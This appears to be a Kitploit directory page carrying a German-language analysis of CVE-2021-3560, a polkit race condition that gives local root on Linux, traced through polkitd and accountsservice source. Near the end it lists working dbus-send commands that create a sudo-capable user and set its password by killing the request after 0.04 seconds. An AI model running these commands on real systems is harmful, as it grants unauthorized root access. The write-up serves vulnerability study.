Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3560 — Eingehende Analyse von CVE-2021-3560, einer lokalen Schwachstelle zur Privilegieneskalation in Linux PolKit. Umfasst Root-Cause-Analyse, Exploit-Mechanismen und eine Demonstration der Race Condition, die zu Root-Zugriff führt. | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2021-3560
Privilege EscalationSchwachstellenanalyseExploitationBinäranalyseLernen & Bildung
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

Eingehende Analyse von CVE-2021-3560, einer lokalen Schwachstelle zur Privilegieneskalation in Linux PolKit. Umfasst Root-Cause-Analyse, Exploit-Mechanismen und eine Demonstration der Race Condition, die zu Root-Zugriff führt.

Repository anzeigen
932vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-3560 PolKit Race-Condition – Analyse zur lokalen Privilegieneskalation

[toc]

Einführung in die Schwachstelle

Schwachstellen-ID: CVE-2021-3560

Schwachstellenbewertung:

Betroffenes Produkt: Linux PolKit (polkitd)

Betroffene Systeme: Eingeführt in Quellcode 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 und höher
  • Debian testing („bullseye")
  • Ubuntu 20.04

Voraussetzungen für die Ausnutzung: lokaler Linux-Zugriff; dbus + polkitd vorhanden

Auswirkung der Ausnutzung: lokale Privilegieneskalation

Quellcode-Beschaffung:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

Einrichtung der Umgebung

Das Standard-Ubuntu-Image ubuntu-20.04.2 ist ausreichend, um die Schwachstelle zu reproduzieren: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

Funktionsweise der Schwachstelle

Ursache der Schwachstelle

Zuerst betrachten wir den problematischen Code

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

In der Funktion polkit_system_bus_name_get_creds_sync wird die Authentifizierung bestimmter Anfragen durchgeführt (die konkreten Szenarien und die Logik werden später im Detail erläutert). Über den org.freedesktop.DBus-Bus werden nacheinander die Methoden GetConnectionUnixUser und GetConnectionUnixProcessID aufgerufen. Diese beiden Methoden werden vom org.freedesktop.DBus-Bus bereitgestellt und dienen dazu, die PID und die Benutzer-UID des anfragenden Prozesses zu ermitteln. Anschließend werden sie an die Callback-Funktion on_retrieved_unix_uid_pid übergeben, die die zurückgegebenen Daten verarbeitet. Danach wird blockierend gewartet, bis der Prozess auf der Bus-Seite abgeschlossen ist.

In der Funktion on_retrieved_unix_uid_pid ist zu erkennen, dass anhand des von der Bus-Seite zurückgegebenen Ausführungsergebnisses festgelegt wird, ob ein Fehler aufgetreten ist (error?), und anschließend das Fehlerflag gesetzt wird. Bei erfolgreicher Ausführung werden ordnungsgemäß die Benutzer-UID oder die Prozess-PID zurückgegeben. In der Funktion polkit_system_bus_name_get_creds_sync hingegen blockiert der Prozess, bis die Bus-Seite ein Ergebnis zurückgibt (als Kriterium für die abgeschlossene Verarbeitung gilt: sowohl UID als auch PID wurden verarbeitet oder es ist ein Fehler aufgetreten). Logisch betrachtet kann die Bus-Seite also drei Ergebnisse liefern: eine Benutzer-UID von 0 (privilegierter Benutzer), eine Benutzer-UID ungleich 0 (normaler Benutzer) oder einen Fehler. In der anschließenden Verarbeitung wird der Fehlerfall jedoch nicht behandelt: Das an die obere Ebene zurückzugebende out_uid wird direkt auf das von der Bus-Seite zurückgegebene data.uid gesetzt und ret wird direkt auf TRUE gesetzt:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?

Es wird jedoch ein Fall übersehen: Wenn auf der DBUS-Bus-Seite ein Fehler auftritt, setzt die Callback-Funktion lediglich das Fehlerflag und kehrt zurück, ohne die Daten in data zu verarbeiten. Da data mit 0 initialisiert wird, wird out_uid in der Folge direkt auf 0 gesetzt – also auf den privilegierten Benutzer.

Wo wird diese fehlerhafte Funktion polkit_system_bus_name_get_creds_sync nun verwendet?

Auslösungspfad

Der von der Schwachstelle betroffene Prozess ist der polkitd-Prozess:

polkit ist ein Toolkit auf Anwendungsebene, das durch die Definition und Überprüfung von Berechtigungsregeln die Kommunikation zwischen Prozessen unterschiedlicher Priorität ermöglicht: Die Kontrollentscheidungen sind in einem einheitlichen Rahmen zentralisiert und legen fest, ob ein Prozess mit niedriger Priorität auf einen Prozess mit hoher Priorität zugreifen darf.

Kurz gesagt handelt es sich um einen im Hintergrund laufenden Root-Prozess, der über Interprozesskommunikation eine Berechtigungsentscheidung trifft, wenn andere Prozesse mit niedrigen Rechten auf Funktionen zugreifen möchten, die von Prozessen mit hohen Rechten bereitgestellt werden. Da dieser Prozess neu startet, sobald gdb daran angehängt wird, können wir nur auf Quellcode-Ebene analysieren, um den Auslösungspfad der verwundbaren Funktion zu finden:

polkitd wurde in großem Umfang mit dem GIO DBUS-Framework für Interprozesskommunikation entwickelt. Es lohnt sich, vorab einen Blick in das Handbuch zu werfen und sich auf einige wichtige Funktionen zu konzentrieren.

Als Nächstes analysieren wir den Auslösungspfad der Schwachstelle in polkitd:

  1. Zunächst main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //访问该总线时的回调函数
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //循环启动
      ··· ···
      ··· ···
    }
    
  2. Zuerst wird ein Bus mit dem Namen org.freedesktop.PolicyKit1 registriert, dann gibt es drei Callback-Funktionen. Besonders wichtig ist on_bus_acquired, das aufgerufen wird, wenn auf den Bus zugegriffen wird.

  3. In der Funktion on_bus_acquired wird direkt eine Funktion des Registrierungstyps aufgerufen: polkit_backend_authority_register

Das bedeutet: Wenn andere Funktionen die Methode CheckAuthorization auf dem Bus org.freedesktop.PolicyKit1.Authority aufrufen, kann in bestimmten Szenarien (wenn die DBUS-Anfrage zur Ermittlung der anfragenden UID einen Fehler zurückgibt) die Korrektheit der Authentifizierung dieser Methode beeinträchtigt werden. Da wir die Lösung direkt sehen können, besteht die Ausnutzungsmethode darin, bei der Verwendung von account-daemon

Ausnutzung der Schwachstelle

Gesamtanalyse

Zunächst zeigen wir das Diagramm des Exploit-Autors:

image-20220131163536269

Erläuterung der Elemente im Diagramm:

  • Die drei Prozesse polkitd, dbus-daemon und account-daemon sind Hintergrunddienstprozesse, die mit Root-Rechten ausgeführt werden.

  • dbus-daemon ist eine Art „Router“ für die Interprozesskommunikation, also der Kern des oben erwähnten GIO-DBUS-Frameworks für die Interprozesskommunikation. Meiner Auffassung nach können verschiedene Prozesse hier ihren Busnamen registrieren. Ein Prozess, der mit dir kommunizieren möchte, greift über Busname, Schnittstelle und Methodennamen auf Funktionen in deinem Prozess zu. Einige der oben vorgestellten Funktionen des polkitd-Prozesses registrieren auf diese Weise einen Bus im DBus und warten darauf, von anderen Prozessen aufgerufen zu werden.

  • account-daemon funktioniert ähnlich wie polkitd. Es registriert den Bus org.freedesktop.Accounts in DBus und stellt eine Reihe von kontobezogenen Methoden bereit, wie etwa das Hinzufügen von Benutzern und das Setzen von Passwörtern, die im Folgenden verwendet werden. Darüber hinaus führt dieser Prozess vor Vorgängen wie dem Hinzufügen von Benutzern eine Authentifizierung des Benutzers durch; die verwendete Authentifizierungsmethode ist genau die oben erwähnte verwundbare Busmethode CheckAuthorization, die vom polkitd-Prozess bereitgestellt wird.

Der Gesamtablauf der Ausnutzung ist also wie folgt:

  1. Mit dem Befehl dbus-send wird eine Nachricht an den Prozess account-daemon gesendet, damit dieser einen Administratorbenutzer anlegt (die von diesem Prozess bereitgestellte Methode CreateUser fügt standardmäßig einen Administratorbenutzer hinzu). Mit unserer Identität lässt sich dieser Vorgang jedoch nicht durchführen.

  2. Nachdem die Nachricht an den Prozess account-daemon gesendet wurde, fordert account-daemon vom Prozess polkitd eine Berechtigungsprüfung an, ob dieser Benutzerhinzufügevorgang genehmigt wird.

  3. polkitd fragt beim Bus die Benutzerrechte und die Prozess-ID des Prozesses ab, der die Anfrage zum Erstellen des Benutzers gestellt hat.

    • Was wir tun müssen, ist, den anfragenden Prozess (also den dbus-send-Prozess) in dem Zeitraum zu killen, nachdem die Nachricht gesendet und von account-daemon empfangen wurde, aber bevor polkitd die Rechte des anfragenden Prozesses abfragt.
  4. Zu diesem Zeitpunkt stellt der Bus fest, dass der Prozess, der das Hinzufügen des Benutzers beantragt hat, nicht mehr existiert, und gibt einen Fehler zurück.

Analyse des Kommunikationsverhaltens von account-daemon

Da dbus-daemon lediglich ein Vermittlungsprozess ist, wird er hier nicht im Detail analysiert. Stattdessen analysieren wir account-daemon, den Schlüsselprozess während der Ausnutzung. Auch dieser Prozess verwendet das GIO-DBUS-Framework. Wir analysieren kurz einige wichtige Punkte darin. Zunächst betrachten wir

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

Hier werden die Makros G_DEFINE_TYPE_WITH_CODE und G_IMPLEMENT_INTERFACE verwendet, um die Funktion daemon_accounts_accounts_iface_init auszuführen. Kurz gesagt sorgen diese beiden Makros dafür, dass die Funktion daemon_accounts_accounts_iface_init bei Gelegenheit ausgeführt wird. In der Funktion daemon_accounts_accounts_iface_init wird die Methode create_user registriert. Wir betrachten direkt die Implementierung der Funktion daemon_create_user:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

Innerhalb von daemon_create_user wird die Funktion daemon_local_check_auth aufgerufen, um zu prüfen, ob die Rechte des anfragenden Benutzers ausreichen. Nach erfolgreichem Aufruf wird die Callback-Funktion daemon_create_user_authorized_cb aufgerufen. Zuerst betrachten wir die Authentifizierungsfunktion daemon_local_check_auth:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

Hier wird die Funktion polkit_authority_check_authorization zur Authentifizierung aufgerufen. polkit_authority_check_authorization ist eine von libpolkit-gobject-1.so.0 bereitgestellte Bibliotheksfunktion, die direkt die Methode CheckAuthorization auf dem Bus org.freedesktop.PolicyKit1.Authority im oben analysierten polkitd-Prozess aufruft. Bei erfolgreicher Authentifizierung wird die Callback-Funktion daemon_create_user_authorized_cb aufgerufen:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

Hier wird es bereits sehr deutlich: Nach erfolgreichem Hinzufügen des Benutzers wird dieser direkt zur sudo-Benutzergruppe hinzugefügt. Am Ende des Exploits kann man sich nach dem Hinzufügen des Benutzers daher über sudo su root zu root wechseln.

Als Nächstes betrachten wir das Demo zur manuellen Ausnutzung:

Demo

Als normaler Benutzer senden wir direkt mit dem Befehl dbus-send eine Anfrage zum Erstellen eines Benutzers an account-daemon:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Bei Betriebssystemen mit grafischer Oberfläche öffnet diese Anfrage ein Fenster zur Passworteingabe:

image-20220131153323446

In einer Kommandozeilenumgebung wie ssh schlägt dies direkt fehl:

image-20220131153521697

Gemäß der oben beschriebenen Ausnutzungsstrategie betrachten wir zunächst die Ausführungszeit des Befehls:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

Anschließend killen wir den Befehl etwa bei der Hälfte seiner Ausführungszeit; mit einer gewissen Wahrscheinlichkeit wird dadurch die Schwachstelle ausgelöst und die Benutzererstellung gelingt:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

Nach mehrmaliger Ausführung gelingt es:

image-20220131154220337

Und der Benutzer befindet sich auch in der sudo-Benutzergruppe:

image-20220131154304858

Dann fügen wir ihm mit derselben Methode noch ein Passwort hinzu:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 muss entsprechend der UID des gerade erstellten Benutzers angepasst werden; das Passwort wird als Hashwert angegeben. Anschließend wechselt man zum Benutzer

Exploit

Hier wurde das Exploit nicht im Detail ausgearbeitet; im Grunde genügt es, die obigen Befehle zu automatisieren. Das C-Exploit auf GitHub funktioniert ebenfalls einwandfrei.

hakivvi/CVE-2021-3560

Gegenmaßnahmen

Auf die neueste Version aktualisieren

Referenzen

Schwachstellen-Offenlegung (GitHub): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

Tool herunterladen
  • In der Funktion polkit_backend_authority_register wird ein Schnittstellenobjekt org.freedesktop.PolicyKit1.Authority registriert und eine Callback-Funktionstabelle server_vtable übergeben. Der Auslösepunkt der Schwachstelle befindet sich in einem Eintrag dieser Callback-Funktionstabelle:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //回调函数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
      ··· ···
      ··· ···
    }
    

    Wenn andere Prozesse über den Bus die Methode CheckAuthorization aufrufen, wird die Funktion server_handle_check_authorization aufgerufen.

  • In der Funktion server_handle_check_authorization wird polkit_backend_authority_check_authorization aufgerufen.

  • In der Funktion polkit_backend_authority_check_authorization wird über einen Callback klass->check_authorization aufgerufen; die dort registrierte Funktion ist polkit_backend_interactive_authority_check_authorization:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //在别处初始化的
    
  • Danach muss man nur noch der Reihenfolge folgen: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • Verwundbare Funktion: polkit_system_bus_name_get_user_sync

  • dbus-send ist ein Befehl. Der DBus-Bus stellt einige Programmierschnittstellen für die Interprozesskommunikation bereit, bietet aber auch Befehlszeilenbefehle an, mit denen direkt Nachrichten an bestimmte Prozesse gesendet werden können, um deren Methoden aufzurufen.

  • Wie aus der obigen Analyse hervorgeht, liegt die Schwachstelle darin, dass der polkitd-Prozess bei einem Fehler standardmäßig von Erfolg ausgeht und die Benutzer-UID standardmäßig als 0 annimmt, also als privilegierten Benutzer. Dadurch wird die Schwachstelle ausgelöst und der Vorgang erlaubt.

  • Obwohl der dbus-send-Prozess gekillt wurde, was dazu führt, dass die Busprüfung einen Fehler meldet, wird account-daemon davon nicht beeinträchtigt: Nachdem account-daemon die Nachricht empfangen hat, kümmert es sich nicht mehr darum, ob der anfragende Prozess noch existiert.

  • Nachdem account-daemon die Genehmigung zur Benutzererstellung von polkitd erhalten hat, wird der Benutzer erstellt und die Ausnutzung ist abgeschlossen.